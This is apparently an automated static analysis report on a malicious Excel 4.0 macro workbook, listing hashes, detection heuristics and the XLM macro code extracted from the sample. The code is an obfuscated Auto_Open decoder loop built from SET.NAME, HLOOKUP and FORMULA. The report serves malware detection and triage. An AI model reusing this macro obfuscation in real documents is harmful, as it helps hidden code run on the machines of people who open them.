Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c52b3cf5062ca8e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:03 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: c50eadb3fb08372f7c0c6dcd30b2b6df SHA-1: 0283e102f1a2f289bb98be8d5f6d79c35b7d679b SHA-256: 5c52b3cf5062ca8e9909c718203da2c218309a1e1e31ccd96e7619e4284fcd78
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6370 bytes
SHA-256: b4858f34a6f06b7e9ec0b5e326e53f74446fece53fb8b578224d8806e3612e8d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IIMe
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H137 
' 0018     21 LABEL : Cell Value, String Constant - cWShXA len=0 
' 0018     25 LABEL : Cell Value, String Constant - DssoBvOKjx len=0 
' 0018     24 LABEL : Cell Value, String Constant - EuONlhbMK len=0 
' 0018     23 LABEL : Cell Value, String Constant - fQHEyhah len=0 
' 0018     22 LABEL : Cell Value, String Constant - iqLdoBl len=0 
' 0018     27 LABEL : Cell Value, String Constant - jgRguIhelYwX len=0 
' 0018     27 LABEL : Cell Value, String Constant - JStOLyJOxHMv len=0 
' 0018     21 LABEL : Cell Value, String Constant - kSCPgs len=0 
' 0018     24 LABEL : Cell Value, String Constant - MjMweDBgT len=0 
' 0018     21 LABEL : Cell Value, String Constant - MpdGvx len=0 
' 0018     24 LABEL : Cell Value, String Constant - MWegQwaaW len=0 
' 0018     20 LABEL : Cell Value, String Constant - mzMck len=0 
' 0018     23 LABEL : Cell Value, String Constant - ozvYkzed len=0 
' 0018     21 LABEL : Cell Value, String Constant - RQQsdf len=0 
' 0018     20 LABEL : Cell Value, String Constant - SNwIe len=0 
' 0018     23 LABEL : Cell Value, String Constant - sZDHxUaz len=0 
' 0018     22 LABEL : Cell Value, String Constant - tdYikAG len=0 
' 0018     25 LABEL : Cell Value, String Constant - tpjkSceYOS len=0 
' 0018     20 LABEL : Cell Value, String Constant - YNYYb len=0 
' 0018     23 LABEL : Cell Value, String Constant - zurGqKoq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IIMe,H42,"SET.NAME("tpjkSceYOS",VALUE("0"))",""
'  IIMe,H45,"SET.NAME("kSCPgs",tpjkSceYOS)",""
'  IIMe,H50,"SET.NAME("DssoBvOKjx",tpjkSceYOS)",""
'  IIMe,H52,"SET.NAME("cWShXA",COUNTA(fQHEyhah))",""
'  IIMe,H56,"SET.NAME("YNYYb",COUNTA(mzMck))",""
'  IIMe,H61,[],""
'  IIMe,H66,"SET.NAME("JStOLyJOxHMv","")",""
'  IIMe,H68,"kSCPgs",""
'  IIMe,H73,"SET.NAME("MjMweDBgT",HLOOKUP("*",fQHEyhah,kSCPgs,FALSE))",""
'  IIMe,H75,"tdYikAG",""
'  IIMe,H79,"SET.NAME("ozvYkzed",tpjkSceYOS)",""
'  IIMe,H81,[],""
'  IIMe,H86,"ozvYkzed",""
'  IIMe,H91,"SNwIe",""
'  IIMe,H96,"iqLdoBl",""
'  IIMe,H99,"MpdGvx",""
'  IIMe,H102,"SET.NAME("EuONlhbMK",VALUE(HLOOKUP("*",mzMck,MpdGvx,FALSE)))",""
'  IIMe,H106,"zurGqKoq",""
'  IIMe,H110,"JStOLyJOxHMv",""
'  IIMe,H113,"DssoBvOKjx",""
'  IIMe,H118,NEXT(),""
'  IIMe,H122,"RQQsdf",""
'  IIMe,H126,"SET.NAME("f",INT(T(FORMULA(T(JStOLyJOxHMv)&"",""&T(RQQsdf)))))",""
'  IIMe,H128,"jgRguIhelYwX",""
'  IIMe,H130,NEXT(),""
'  IIMe,H133,RETURN(),""
'  IIMe,H169,"SET.NAME("MWegQwaaW",H42)",""
'  IIMe,H172,"fQHEyhah",""
'  IIMe,H175,"SET.NAME("mzMck",R60C12)",""
'  IIMe,H177,"SET.NAME("jgRguIhelYwX",186)",""
'  IIMe,H180,"SET.NAME("sZDHxUaz",8)",""
'  IIMe,H185,MWegQwaaW(),""
'  IIMe,H186,HALT(),""